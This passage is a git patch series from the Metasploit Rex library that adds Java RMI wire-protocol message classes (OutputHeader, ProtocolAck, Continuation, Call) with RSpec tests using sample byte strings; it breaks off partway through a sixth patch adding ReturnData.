From d5dfd75e713cc4133f4176674d1d29dc3fb1f0fe Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 5 Jan 2015 18:52:13 -0600 Subject: [PATCH 001/103] Add initial model and support to OutputStream --- lib/rex/proto.rb | 1 + lib/rex/proto/rmi.rb | 7 + lib/rex/proto/rmi/model.rb | 24 ++++ lib/rex/proto/rmi/model/element.rb | 128 ++++++++++++++++++ lib/rex/proto/rmi/model/output_stream.rb | 86 ++++++++++++ .../rex/proto/rmi/model/output_stream_spec.rb | 62 +++++++++ 6 files changed, 308 insertions(+) create mode 100644 lib/rex/proto/rmi.rb create mode 100644 lib/rex/proto/rmi/model.rb create mode 100644 lib/rex/proto/rmi/model/element.rb create mode 100644 lib/rex/proto/rmi/model/output_stream.rb create mode 100644 spec/lib/rex/proto/rmi/model/output_stream_spec.rb diff --git a/lib/rex/proto.rb b/lib/rex/proto.rb index dbfd86c47e..8696fcd5ea 100644 --- a/lib/rex/proto.rb +++ b/lib/rex/proto.rb @@ -6,6 +6,7 @@ require 'rex/proto/dcerpc' require 'rex/proto/drda' require 'rex/proto/iax2' require 'rex/proto/kerberos' +require 'rex/proto/rmi' module Rex module Proto diff --git a/lib/rex/proto/rmi.rb b/lib/rex/proto/rmi.rb new file mode 100644 index 0000000000..74505c57f2 --- /dev/null +++ b/lib/rex/proto/rmi.rb @@ -0,0 +1,7 @@ +# -*- coding: binary -*- + +# JAVA RMI Wire protocol implementation +# http://docs.oracle.com/javase/7/docs/platform/rmi/spec/rmi-protocol.html + +require 'rex/proto/rmi/model' + diff --git a/lib/rex/proto/rmi/model.rb b/lib/rex/proto/rmi/model.rb new file mode 100644 index 0000000000..cb013691ed --- /dev/null +++ b/lib/rex/proto/rmi/model.rb @@ -0,0 +1,24 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Rmi + module Model + SIGNATURE = 'JRMI' + STREAM_PROTOCOL = 0x4b + SINGLE_OP_PROTOCOL = 0x4c + MULTIPLEX_PROTOCOL = 0x4d + CALL_MESSAGE = 0x50 + PING_MESSAGE = 0x52 + DGC_ACK_MESSAGE = 0x54 + PROTOCOL_ACK = 0x4e + PROTOCOL_NOT_SUPPORTED = 0x4f + RETURN_DATA = 0x51 + PING_ACK = 0x53 + end + end + end +end + +require 'rex/proto/rmi/model/element' +require 'rex/proto/rmi/model/output_stream' \ No newline at end of file diff --git a/lib/rex/proto/rmi/model/element.rb b/lib/rex/proto/rmi/model/element.rb new file mode 100644 index 0000000000..c504c17db5 --- /dev/null +++ b/lib/rex/proto/rmi/model/element.rb @@ -0,0 +1,128 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Rmi + module Model + class Element + + include Rex::Proto::Rmi::Model + + def self.attr_accessor(*vars) + @attributes ||= [] + @attributes.concat vars + super(*vars) + end + + # Retrieves the element class fields + # + # @return [Array] + def self.attributes + @attributes + end + + # Creates a Rex::Proto::Rmi::Model::Element with data from the IO. + # + # @param io [IO] the IO to read data from + # @return [Rex::Proto::Rmi::Model::Element] + def self.decode(io) + elem = self.new + elem.decode(input) + + elem + end + + def initialize(options = {}) + self.class.attributes.each do |attr| + if options.has_key?(attr) + m = (attr.to_s + '=').to_sym + self.send(m, options[attr]) + end + end + end + + # Retrieves the element instance fields + # + # @return [Array] + def attributes + self.class.attributes + end + + # Decodes the Rex::Proto::Rmi::Model::Element from the input. + # + # @raise [NoMethodError] + # @return [Rex::Proto::Rmi::Model::Element] + def decode(io) + self.class.attributes.each do |attr| + dec_method = ("decode_#{attr}").to_sym + decoded = self.send(dec_method, io) + assign_method = (attr.to_s + '=').to_sym + self.send(assign_method, decoded) + end + + self + end + + # Encodes the Rex::Proto::Rmi::Model::Element into an String. + # + # @raise [NoMethodError] + # @return [String] + def encode + encoded = '' + self.class.attributes.each do |attr| + m = ("encode_#{attr}").to_sym + encoded << self.send(m) if self.send(attr) + end + + encoded + end + + private + + # Reads a byte from an IO + # + # @param io [IO] the IO to read from + # @return [Fixnum] + # @raise [RuntimeError] if the byte can't be read from io + def read_byte(io) + raw = io.read(1) + raise ::RuntimeError, 'Failed to read byte' unless raw + + raw.unpack('C')[0] + end + + # Reads a two bytes short from an IO + # + # @param io [IO] the IO to read from + # @return [Fixnum] + # @raise [RuntimeError] if the short can't be read from io + def read_short(io) + raw = io.read(2) + + unless raw && raw.length == 2 + raise ::RuntimeError, 'Failed to read short' + end + + raw.unpack('n')[0] + end + + # Reads an string from an IO + # + # @param io [IO] the IO to read from + # @param length [Fixnum] the string length + # @return [String] + # @raise [RuntimeError] if the string can't be read from io + def read_string(io, length) + raw = io.read(length) + + unless raw && raw.length == length + raise ::RuntimeError, 'Failed to read string' + end + + raw + end + end + end + end + end +end \ No newline at end of file diff --git a/lib/rex/proto/rmi/model/output_stream.rb b/lib/rex/proto/rmi/model/output_stream.rb new file mode 100644 index 0000000000..2311b35ac5 --- /dev/null +++ b/lib/rex/proto/rmi/model/output_stream.rb @@ -0,0 +1,86 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Rmi + module Model + # This class provides a representation of an RMI output stream header + class OutputStream < Element + + # @!attribute signature + # @return [String] the Java RMI header signature + attr_accessor :signature + # @!attribute version + # @return [Fixnum] the Java RMI version + attr_accessor :version + # @!attribute protocol + # @return [Fixnum] the protocol where the the messages are wrapped within + attr_accessor :protocol + + private + + # Reads the signature from the IO + # + # @param io [IO] the IO to read from + # @return [String] + # @raise [RuntimeError] if fails to decode signature + def decode_signature(io) + signature = read_string(io, 4) + unless signature == SIGNATURE + raise ::RuntimeError, 'Failed to decode OutputStream signature' + end + + signature + end + + # Reads the version from the IO + # + # @param io [IO] the IO to read from + # @return [Fixnum] + def decode_version(io) + version = read_short(io) + + version + end + + # Reads the protocol from the IO + # + # @param io [IO] the IO to read from + # @return [Fixnum] + # @raise [RuntimeError] if fails to decode the protocol + def decode_protocol(io) + valid_protocols = [STREAM_PROTOCOL, SINGLE_OP_PROTOCOL, MULTIPLEX_PROTOCOL] + protocol = read_byte(io) + + unless valid_protocols.include?(protocol) + raise ::RuntimeError, 'Failed to decode OutputStream protocol' + end + + protocol + end + + # Encodes the signature field + # + # @return [String] + def encode_signature + signature + end + + # Encodes the version field + # + # @return [String] + def encode_version + [version].pack('n') + end + + # Encodes the protocol field + # + # @return [String] + def encode_protocol + [protocol].pack('C') + end + end + end + end + end +end \ No newline at end of file diff --git a/spec/lib/rex/proto/rmi/model/output_stream_spec.rb b/spec/lib/rex/proto/rmi/model/output_stream_spec.rb new file mode 100644 index 0000000000..dea89e0e7a --- /dev/null +++ b/spec/lib/rex/proto/rmi/model/output_stream_spec.rb @@ -0,0 +1,62 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'stringio' +require 'rex/proto/rmi' + +describe Rex::Proto::Rmi::Model::OutputStream do + + subject(:output_stream) do + described_class.new + end + + let(:stream_protocol) do + "\x4a\x52\x4d\x49\x00\x02\x4b" + end + + let(:stream_protocol_io) { StringIO.new(stream_protocol) } + + describe "#decode" do + context "when Stream Protocol" do + it "returns the Rex::Proto::Rmi::Model::OutputStream decoded" do + expect(output_stream.decode(stream_protocol_io)).to eq(output_stream) + end + + it "decodes signature correctly" do + output_stream.decode(stream_protocol_io) + expect(output_stream.signature).to eq(Rex::Proto::Rmi::Model::SIGNATURE) + end + + it "decodes version correctly" do + output_stream.decode(stream_protocol_io) + expect(output_stream.version).to eq(2) + end + + it "decodes protocol correctly" do + output_stream.decode(stream_protocol_io) + expect(output_stream.protocol).to eq(Rex::Proto::Rmi::Model::STREAM_PROTOCOL) + end + end + end + + describe "#encode" do + context "when Stream Protocol" do + it "encodes the OutputStream correctly" do + output_stream.signature = Rex::Proto::Rmi::Model::SIGNATURE + output_stream.version = 2 + output_stream.protocol = Rex::Proto::Rmi::Model::STREAM_PROTOCOL + + expect(output_stream.encode).to eq(stream_protocol) + end + end + + context "when version field missed" do + it "doesn't encodes the version" do + output_stream.signature = Rex::Proto::Rmi::Model::SIGNATURE + output_stream.protocol = Rex::Proto::Rmi::Model::STREAM_PROTOCOL + + expect(output_stream.encode).to eq("\x4a\x52\x4d\x49\x4b") + end + end + end +end From 26da73ffb82d7cbb0ae27fc0c1fbf133bd531dfb Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 5 Jan 2015 19:23:07 -0600 Subject: [PATCH 002/103] Change class name --- lib/rex/proto/rmi/model.rb | 2 +- .../{output_stream.rb => output_header.rb} | 2 +- .../rex/proto/rmi/model/output_header_spec.rb | 62 +++++++++++++++++++ .../rex/proto/rmi/model/output_stream_spec.rb | 62 ------------------- 4 files changed, 64 insertions(+), 64 deletions(-) rename lib/rex/proto/rmi/model/{output_stream.rb => output_header.rb} (98%) create mode 100644 spec/lib/rex/proto/rmi/model/output_header_spec.rb delete mode 100644 spec/lib/rex/proto/rmi/model/output_stream_spec.rb diff --git a/lib/rex/proto/rmi/model.rb b/lib/rex/proto/rmi/model.rb index cb013691ed..933ce0fef2 100644 --- a/lib/rex/proto/rmi/model.rb +++ b/lib/rex/proto/rmi/model.rb @@ -21,4 +21,4 @@ module Rex end require 'rex/proto/rmi/model/element' -require 'rex/proto/rmi/model/output_stream' \ No newline at end of file +require 'rex/proto/rmi/model/output_header' \ No newline at end of file diff --git a/lib/rex/proto/rmi/model/output_stream.rb b/lib/rex/proto/rmi/model/output_header.rb similarity index 98% rename from lib/rex/proto/rmi/model/output_stream.rb rename to lib/rex/proto/rmi/model/output_header.rb index 2311b35ac5..d31ab949fa 100644 --- a/lib/rex/proto/rmi/model/output_stream.rb +++ b/lib/rex/proto/rmi/model/output_header.rb @@ -5,7 +5,7 @@ module Rex module Rmi module Model # This class provides a representation of an RMI output stream header - class OutputStream < Element + class OutputHeader < Element # @!attribute signature # @return [String] the Java RMI header signature diff --git a/spec/lib/rex/proto/rmi/model/output_header_spec.rb b/spec/lib/rex/proto/rmi/model/output_header_spec.rb new file mode 100644 index 0000000000..f130f5d9fb --- /dev/null +++ b/spec/lib/rex/proto/rmi/model/output_header_spec.rb @@ -0,0 +1,62 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'stringio' +require 'rex/proto/rmi' + +describe Rex::Proto::Rmi::Model::OutputHeader do + + subject(:output_header) do + described_class.new + end + + let(:stream_protocol) do + "\x4a\x52\x4d\x49\x00\x02\x4b" + end + + let(:stream_protocol_io) { StringIO.new(stream_protocol) } + + describe "#decode" do + context "when Stream Protocol" do + it "returns the Rex::Proto::Rmi::Model::OutputHeader decoded" do + expect(output_header.decode(stream_protocol_io)).to eq(output_header) + end + + it "decodes signature correctly" do + output_header.decode(stream_protocol_io) + expect(output_header.signature).to eq(Rex::Proto::Rmi::Model::SIGNATURE) + end + + it "decodes version correctly" do + output_header.decode(stream_protocol_io) + expect(output_header.version).to eq(2) + end + + it "decodes protocol correctly" do + output_header.decode(stream_protocol_io) + expect(output_header.protocol).to eq(Rex::Proto::Rmi::Model::STREAM_PROTOCOL) + end + end + end + + describe "#encode" do + context "when Stream Protocol" do + it "encodes the OutputHeader correctly" do + output_header.signature = Rex::Proto::Rmi::Model::SIGNATURE + output_header.version = 2 + output_header.protocol = Rex::Proto::Rmi::Model::STREAM_PROTOCOL + + expect(output_header.encode).to eq(stream_protocol) + end + end + + context "when version field missed" do + it "doesn't encodes the version" do + output_header.signature = Rex::Proto::Rmi::Model::SIGNATURE + output_header.protocol = Rex::Proto::Rmi::Model::STREAM_PROTOCOL + + expect(output_header.encode).to eq("\x4a\x52\x4d\x49\x4b") + end + end + end +end diff --git a/spec/lib/rex/proto/rmi/model/output_stream_spec.rb b/spec/lib/rex/proto/rmi/model/output_stream_spec.rb deleted file mode 100644 index dea89e0e7a..0000000000 --- a/spec/lib/rex/proto/rmi/model/output_stream_spec.rb +++ /dev/null @@ -1,62 +0,0 @@ -# -*- coding:binary -*- -require 'spec_helper' - -require 'stringio' -require 'rex/proto/rmi' - -describe Rex::Proto::Rmi::Model::OutputStream do - - subject(:output_stream) do - described_class.new - end - - let(:stream_protocol) do - "\x4a\x52\x4d\x49\x00\x02\x4b" - end - - let(:stream_protocol_io) { StringIO.new(stream_protocol) } - - describe "#decode" do - context "when Stream Protocol" do - it "returns the Rex::Proto::Rmi::Model::OutputStream decoded" do - expect(output_stream.decode(stream_protocol_io)).to eq(output_stream) - end - - it "decodes signature correctly" do - output_stream.decode(stream_protocol_io) - expect(output_stream.signature).to eq(Rex::Proto::Rmi::Model::SIGNATURE) - end - - it "decodes version correctly" do - output_stream.decode(stream_protocol_io) - expect(output_stream.version).to eq(2) - end - - it "decodes protocol correctly" do - output_stream.decode(stream_protocol_io) - expect(output_stream.protocol).to eq(Rex::Proto::Rmi::Model::STREAM_PROTOCOL) - end - end - end - - describe "#encode" do - context "when Stream Protocol" do - it "encodes the OutputStream correctly" do - output_stream.signature = Rex::Proto::Rmi::Model::SIGNATURE - output_stream.version = 2 - output_stream.protocol = Rex::Proto::Rmi::Model::STREAM_PROTOCOL - - expect(output_stream.encode).to eq(stream_protocol) - end - end - - context "when version field missed" do - it "doesn't encodes the version" do - output_stream.signature = Rex::Proto::Rmi::Model::SIGNATURE - output_stream.protocol = Rex::Proto::Rmi::Model::STREAM_PROTOCOL - - expect(output_stream.encode).to eq("\x4a\x52\x4d\x49\x4b") - end - end - end -end From 757f95a24d83702dd97eed0cc84d2268c5b34377 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 6 Jan 2015 00:14:14 -0600 Subject: [PATCH 003/103] Add support for ProtocolAck --- lib/rex/proto/rmi/model.rb | 3 +- lib/rex/proto/rmi/model/element.rb | 15 +++ lib/rex/proto/rmi/model/output_header.rb | 4 +- lib/rex/proto/rmi/model/protocol_ack.rb | 100 ++++++++++++++++++ .../rex/proto/rmi/model/protocol_ack_spec.rb | 56 ++++++++++ 5 files changed, 175 insertions(+), 3 deletions(-) create mode 100644 lib/rex/proto/rmi/model/protocol_ack.rb create mode 100644 spec/lib/rex/proto/rmi/model/protocol_ack_spec.rb diff --git a/lib/rex/proto/rmi/model.rb b/lib/rex/proto/rmi/model.rb index 933ce0fef2..64e1838d86 100644 --- a/lib/rex/proto/rmi/model.rb +++ b/lib/rex/proto/rmi/model.rb @@ -21,4 +21,5 @@ module Rex end require 'rex/proto/rmi/model/element' -require 'rex/proto/rmi/model/output_header' \ No newline at end of file +require 'rex/proto/rmi/model/output_header' +require 'rex/proto/rmi/model/protocol_ack' \ No newline at end of file diff --git a/lib/rex/proto/rmi/model/element.rb b/lib/rex/proto/rmi/model/element.rb index c504c17db5..4e303b8065 100644 --- a/lib/rex/proto/rmi/model/element.rb +++ b/lib/rex/proto/rmi/model/element.rb @@ -106,6 +106,21 @@ module Rex raw.unpack('n')[0] end + # Reads a four bytes int from an IO + # + # @param io [IO] the IO to read from + # @return [Fixnum] + # @raise [RuntimeError] if the int can't be read from io + def read_int(io) + raw = io.read(4) + + unless raw && raw.length == 4 + raise ::RuntimeError, 'Failed to read short' + end + + raw.unpack('N')[0] + end + # Reads an string from an IO # # @param io [IO] the IO to read from diff --git a/lib/rex/proto/rmi/model/output_header.rb b/lib/rex/proto/rmi/model/output_header.rb index d31ab949fa..dae28e89b6 100644 --- a/lib/rex/proto/rmi/model/output_header.rb +++ b/lib/rex/proto/rmi/model/output_header.rb @@ -27,7 +27,7 @@ module Rex def decode_signature(io) signature = read_string(io, 4) unless signature == SIGNATURE - raise ::RuntimeError, 'Failed to decode OutputStream signature' + raise ::RuntimeError, 'Failed to decode OutputHeader signature' end signature @@ -53,7 +53,7 @@ module Rex protocol = read_byte(io) unless valid_protocols.include?(protocol) - raise ::RuntimeError, 'Failed to decode OutputStream protocol' + raise ::RuntimeError, 'Failed to decode OutputHeader protocol' end protocol diff --git a/lib/rex/proto/rmi/model/protocol_ack.rb b/lib/rex/proto/rmi/model/protocol_ack.rb new file mode 100644 index 0000000000..52a48506be --- /dev/null +++ b/lib/rex/proto/rmi/model/protocol_ack.rb @@ -0,0 +1,100 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Rmi + module Model + # This class provides a representation of an RMI protocol ack input stream + class ProtocolAck < Element + + # @!attribute stream_id + # @return [Fixnum] the input stream id + attr_accessor :stream_id + # @!attribute length + # @return [Fixnum] the end point address length + attr_accessor :length + # @!attribute address + # @return [String] the end point address + attr_accessor :address + # @!attribute port + # @return [Fixnum] the end point port + attr_accessor :port + + private + + # Reads the stream id from the IO + # + # @param io [IO] the IO to read from + # @return [String] + # @raise [RuntimeError] if fails to decode stream id + def decode_stream_id(io) + stream_id = read_byte(io) + unless stream_id == PROTOCOL_ACK + raise ::RuntimeError, 'Failed to decode ProtocolAck stream id' + end + + stream_id + end + + # Reads the end point identifier address length from the IO + # + # @param io [IO] the IO to read from + # @return [Fixnum] + def decode_length(io) + length = read_short(io) + + length + end + + # Reads the end point address from the IO + # + # @param io [IO] the IO to read from + # @return [String] + def decode_address(io) + version = read_string(io, length) + + version + end + + # Reads the end point port from the IO + # + # @param io [IO] the IO to read from + # @return [Fixnum] + def decode_port(io) + port = read_int(io) + + port + end + + # Encodes the stream_id field + # + # @return [String] + def encode_stream_id + [stream_id].pack('C') + end + + # Encodes the length field + # + # @return [String] + def encode_length + [length].pack('n') + end + + # Encodes the address field + # + # @return [String] + def encode_address + address + end + + # Encodes the port field + # + # @return [String] + def encode_port + [port].pack('N') + end + end + end + end + end +end \ No newline at end of file diff --git a/spec/lib/rex/proto/rmi/model/protocol_ack_spec.rb b/spec/lib/rex/proto/rmi/model/protocol_ack_spec.rb new file mode 100644 index 0000000000..7451d0c4a3 --- /dev/null +++ b/spec/lib/rex/proto/rmi/model/protocol_ack_spec.rb @@ -0,0 +1,56 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'stringio' +require 'rex/proto/rmi' + +describe Rex::Proto::Rmi::Model::ProtocolAck do + + subject(:protocol_ack) do + described_class.new + end + + let(:sample) do + "\x4e\x00\x0e\x31\x37\x32\x2e\x31\x36\x2e\x31\x35\x38\x2e\x31\x33" + + "\x32\x00\x00\x06\xea" + end + + let(:sample_io) { StringIO.new(sample) } + + describe "#decode" do + it "returns the Rex::Proto::Rmi::Model::ProtocolAck decoded" do + expect(protocol_ack.decode(sample_io)).to eq(protocol_ack) + end + + it "decodes stream_id correctly" do + protocol_ack.decode(sample_io) + expect(protocol_ack.stream_id).to eq(Rex::Proto::Rmi::Model::PROTOCOL_ACK) + end + + it "decodes length correctly" do + protocol_ack.decode(sample_io) + expect(protocol_ack.length).to eq(14) + end + + it "decodes address correctly" do + protocol_ack.decode(sample_io) + expect(protocol_ack.address).to eq('172.16.158.132') + end + + it "decodes port correctly" do + protocol_ack.decode(sample_io) + expect(protocol_ack.port).to eq(1770) + end + end + + describe "#encode" do + it "encodes the OutputHeader correctly" do + protocol_ack.stream_id = Rex::Proto::Rmi::Model::PROTOCOL_ACK + protocol_ack.address = '172.16.158.132' + protocol_ack.length = protocol_ack.address.length + protocol_ack.port = 1770 + + expect(protocol_ack.encode).to eq(sample) + end + end +end From f3ff42dbfbd11c49d5dae6a3b76bfd054f82f0cb Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 6 Jan 2015 11:34:47 -0600 Subject: [PATCH 004/103] Add support for Continuation --- lib/rex/proto/rmi/model.rb | 3 +- lib/rex/proto/rmi/model/continuation.rb | 76 +++++++++++++++++++ .../rex/proto/rmi/model/continuation_spec.rb | 50 ++++++++++++ 3 files changed, 128 insertions(+), 1 deletion(-) create mode 100644 lib/rex/proto/rmi/model/continuation.rb create mode 100644 spec/lib/rex/proto/rmi/model/continuation_spec.rb diff --git a/lib/rex/proto/rmi/model.rb b/lib/rex/proto/rmi/model.rb index 64e1838d86..b6c1dcb30a 100644 --- a/lib/rex/proto/rmi/model.rb +++ b/lib/rex/proto/rmi/model.rb @@ -22,4 +22,5 @@ end require 'rex/proto/rmi/model/element' require 'rex/proto/rmi/model/output_header' -require 'rex/proto/rmi/model/protocol_ack' \ No newline at end of file +require 'rex/proto/rmi/model/protocol_ack' +require 'rex/proto/rmi/model/continuation' \ No newline at end of file diff --git a/lib/rex/proto/rmi/model/continuation.rb b/lib/rex/proto/rmi/model/continuation.rb new file mode 100644 index 0000000000..e7e801c4ad --- /dev/null +++ b/lib/rex/proto/rmi/model/continuation.rb @@ -0,0 +1,76 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Rmi + module Model + # This class provides a representation of an RMI continuation stream + class Continuation < Element + + # @!attribute length + # @return [Fixnum] the end point address length + attr_accessor :length + # @!attribute address + # @return [String] the end point address + attr_accessor :address + # @!attribute port + # @return [Fixnum] the end point port + attr_accessor :port + + private + + # Reads the end point identifier address length from the IO + # + # @param io [IO] the IO to read from + # @return [Fixnum] + def decode_length(io) + length = read_short(io) + + length + end + + # Reads the end point address from the IO + # + # @param io [IO] the IO to read from + # @return [String] + def decode_address(io) + version = read_string(io, length) + + version + end + + # Reads the end point port from the IO + # + # @param io [IO] the IO to read from + # @return [Fixnum] + def decode_port(io) + port = read_int(io) + + port + end + + # Encodes the length field + # + # @return [String] + def encode_length + [length].pack('n') + end + + # Encodes the address field + # + # @return [String] + def encode_address + address + end + + # Encodes the port field + # + # @return [String] + def encode_port + [port].pack('N') + end + end + end + end + end +end \ No newline at end of file diff --git a/spec/lib/rex/proto/rmi/model/continuation_spec.rb b/spec/lib/rex/proto/rmi/model/continuation_spec.rb new file mode 100644 index 0000000000..feb5f50d87 --- /dev/null +++ b/spec/lib/rex/proto/rmi/model/continuation_spec.rb @@ -0,0 +1,50 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'stringio' +require 'rex/proto/rmi' + +describe Rex::Proto::Rmi::Model::Continuation do + + subject(:continuation) do + described_class.new + end + + let(:sample) do + "\x00\x0e\x31\x37\x32\x2e\x31\x36\x2e\x31\x35\x38\x2e\x31\x33\x32" + + "\x00\x00\x00\x00" + end + + let(:sample_io) { StringIO.new(sample) } + + describe "#decode" do + it "returns the Rex::Proto::Rmi::Model::Continuation decoded" do + expect(continuation.decode(sample_io)).to eq(protocol_ack) + end + + it "decodes length correctly" do + continuation.decode(sample_io) + expect(continuation.length).to eq(14) + end + + it "decodes address correctly" do + continuation.decode(sample_io) + expect(continuation.address).to eq('172.16.158.132') + end + + it "decodes port correctly" do + continuation.decode(sample_io) + expect(continuation.port).to eq(0) + end + end + + describe "#encode" do + it "encodes the Continuation correctly" do + continuation.address = '172.16.158.132' + continuation.length = protocol_ack.address.length + continuation.port = 0 + + expect(continuation.encode).to eq(sample) + end + end +end From 825e08f5ace1dcdbaeea7ed981d265cb5d7a5319 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 6 Jan 2015 12:36:06 -0600 Subject: [PATCH 005/103] Add support for Call messages --- lib/rex/proto/rmi/model.rb | 3 +- lib/rex/proto/rmi/model/call.rb | 60 +++++++++++++++++++ spec/lib/rex/proto/rmi/model/call_spec.rb | 70 +++++++++++++++++++++++ 3 files changed, 132 insertions(+), 1 deletion(-) create mode 100644 lib/rex/proto/rmi/model/call.rb create mode 100644 spec/lib/rex/proto/rmi/model/call_spec.rb diff --git a/lib/rex/proto/rmi/model.rb b/lib/rex/proto/rmi/model.rb index b6c1dcb30a..6cee872ec6 100644 --- a/lib/rex/proto/rmi/model.rb +++ b/lib/rex/proto/rmi/model.rb @@ -23,4 +23,5 @@ end require 'rex/proto/rmi/model/element' require 'rex/proto/rmi/model/output_header' require 'rex/proto/rmi/model/protocol_ack' -require 'rex/proto/rmi/model/continuation' \ No newline at end of file +require 'rex/proto/rmi/model/continuation' +require 'rex/proto/rmi/model/call' \ No newline at end of file diff --git a/lib/rex/proto/rmi/model/call.rb b/lib/rex/proto/rmi/model/call.rb new file mode 100644 index 0000000000..bc760c418e --- /dev/null +++ b/lib/rex/proto/rmi/model/call.rb @@ -0,0 +1,60 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Rmi + module Model + # This class provides a representation of an RMI call message + class Call < Element + + # @!attribute message_id + # @return [Fixnum] the message id + attr_accessor :message_id + # @!attribute call_data + # @return [Rex::Java::Serialization::Model::Stream] the serialized call data + attr_accessor :call_data + + private + + # Reads the message id from the IO + # + # @param io [IO] the IO to read from + # @return [String] + # @raise [RuntimeError] if fails to decode the message id + def decode_message_id(io) + message_id = read_byte(io) + unless message_id == CALL_MESSAGE + raise ::RuntimeError, 'Failed to decode Call message id' + end + + message_id + end + + # Reads the call data from the IO + # + # @param io [IO] the IO to read from + # @return [Rex::Java::Serialization::Model::Stream] + def decode_call_data(io) + call_data = Rex::Java::Serialization::Model::Stream.decode(io) + + call_data + end + + # Encodes the message_id field + # + # @return [String] + def encode_message_id + [message_id].pack('C') + end + + # Encodes the address field + # + # @return [String] + def encode_call_data + call_data.encode + end + end + end + end + end +end \ No newline at end of file diff --git a/spec/lib/rex/proto/rmi/model/call_spec.rb b/spec/lib/rex/proto/rmi/model/call_spec.rb new file mode 100644 index 0000000000..7199140549 --- /dev/null +++ b/spec/lib/rex/proto/rmi/model/call_spec.rb @@ -0,0 +1,70 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'stringio' +require 'rex/proto/rmi' +require 'rex/java' + +describe Rex::Proto::Rmi::Model::Call do + + subject(:call) do + described_class.new + end + + let(:call_message) do + "\x50\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x02\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x01\xf6\xb6\x89\x8d\x8b\xf2\x86\x43\x75\x72\x00\x18\x5b\x4c\x6a" + + "\x61\x76\x61\x2e\x72\x6d\x69\x2e\x73\x65\x72\x76\x65\x72\x2e\x4f" + + "\x62\x6a\x49\x44\x3b\x87\x13\x00\xb8\xd0\x2c\x64\x7e\x02\x00\x00" + + "\x70\x78\x70\x00\x00\x00\x01\x73\x72\x00\x15\x6a\x61\x76\x61\x2e" + + "\x72\x6d\x69\x2e\x73\x65\x72\x76\x65\x72\x2e\x4f\x62\x6a\x49\x44" + + "\xa7\x5e\xfa\x12\x8d\xdc\xe5\x5c\x02\x00\x02\x4a\x00\x06\x6f\x62" + + "\x6a\x4e\x75\x6d\x4c\x00\x05\x73\x70\x61\x63\x65\x74\x00\x15\x4c" + + "\x6a\x61\x76\x61\x2f\x72\x6d\x69\x2f\x73\x65\x72\x76\x65\x72\x2f" + + "\x55\x49\x44\x3b\x70\x78\x70\xbf\x26\x22\xcc\x85\x10\xe0\xf0\x73" + + "\x72\x00\x13\x6a\x61\x76\x61\x2e\x72\x6d\x69\x2e\x73\x65\x72\x76" + + "\x65\x72\x2e\x55\x49\x44\x0f\x12\x70\x0d\xbf\x36\x4f\x12\x02\x00" + + "\x03\x53\x00\x05\x63\x6f\x75\x6e\x74\x4a\x00\x04\x74\x69\x6d\x65" + + "\x49\x00\x06\x75\x6e\x69\x71\x75\x65\x70\x78\x70\x80\x01\x00\x00" + + "\x01\x49\xb5\xe4\x92\x78\xd2\x4f\xdf\x47\x77\x08\x80\x00\x00\x00" + + "\x00\x00\x00\x00\x73\x72\x00\x12\x6a\x61\x76\x61\x2e\x72\x6d\x69" + + "\x2e\x64\x67\x63\x2e\x4c\x65\x61\x73\x65\xb0\xb5\xe2\x66\x0c\x4a" + + "\xdc\x34\x02\x00\x02\x4a\x00\x05\x76\x61\x6c\x75\x65\x4c\x00\x04" + + "\x76\x6d\x69\x64\x74\x00\x13\x4c\x6a\x61\x76\x61\x2f\x72\x6d\x69" + + "\x2f\x64\x67\x63\x2f\x56\x4d\x49\x44\x3b\x70\x78\x70\x00\x00\x00" + + "\x00\x00\x09\x27\xc0\x73\x72\x00\x11\x6a\x61\x76\x61\x2e\x72\x6d" + + "\x69\x2e\x64\x67\x63\x2e\x56\x4d\x49\x44\xf8\x86\x5b\xaf\xa4\xa5" + + "\x6d\xb6\x02\x00\x02\x5b\x00\x04\x61\x64\x64\x72\x74\x00\x02\x5b" + + "\x42\x4c\x00\x03\x75\x69\x64\x71\x00\x7e\x00\x03\x70\x78\x70\x75" + + "\x72\x00\x02\x5b\x42\xac\xf3\x17\xf8\x06\x08\x54\xe0\x02\x00\x00" + + "\x70\x78\x70\x00\x00\x00\x08\x6b\x02\xc7\x72\x60\x1c\xc7\x95\x73" + + "\x71\x00\x7e\x00\x05\x80\x01\x00\x00\x01\x49\xb5\xf8\x00\xea\xe9" + + "\x62\xc1\xc0" + end + + let(:call_message_io) { StringIO.new(call_message) } + + describe "#decode" do + it "returns the Rex::Proto::Rmi::Model::Call decoded" do + expect(call.decode(call_message_io)).to eq(call) + end + + it "decodes message id correctly" do + call.decode(call_message_io) + expect(call.message_id).to eq(Rex::Proto::Rmi::Model::CALL_MESSAGE) + end + + it "decodes the call data correctly" do + call.decode(call_message_io) + expect(call.call_data).to be_a(Rex::Java::Serialization::Model::Stream) + end + end + + describe "#encode" do + it "re-encodes a Call message correctly" do + call.decode(call_message_io) + expect(call.encode).to eq(call_message) + end + end +end From 6d1d300e7230fd35f29485d2123a70f9aef2735a Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 6 Jan 2015 12:52:00 -0600 Subject: [PATCH 006/103] Add support for ReturnData --- lib/rex/proto/rmi/model.rb | 3 +- lib/rex/proto/rmi/model/call.rb | 2 +- lib/rex/proto/rmi/model/return_data.rb | 60 +++++++++++++++++++ .../rex/proto/rmi/model/return_data_spec.rb | 59 ++++++++++++++++++ 4 files changed, 122 insertions(+), 2 deletions(-) create mode 100644 lib/rex/proto/rmi/model/return_data.rb create mode 100644 spec/lib/rex/proto/rmi/model/return_data_spec.rb diff --git a/lib/rex/proto/rmi/model.rb b/lib/rex/proto/rmi/model.rb index 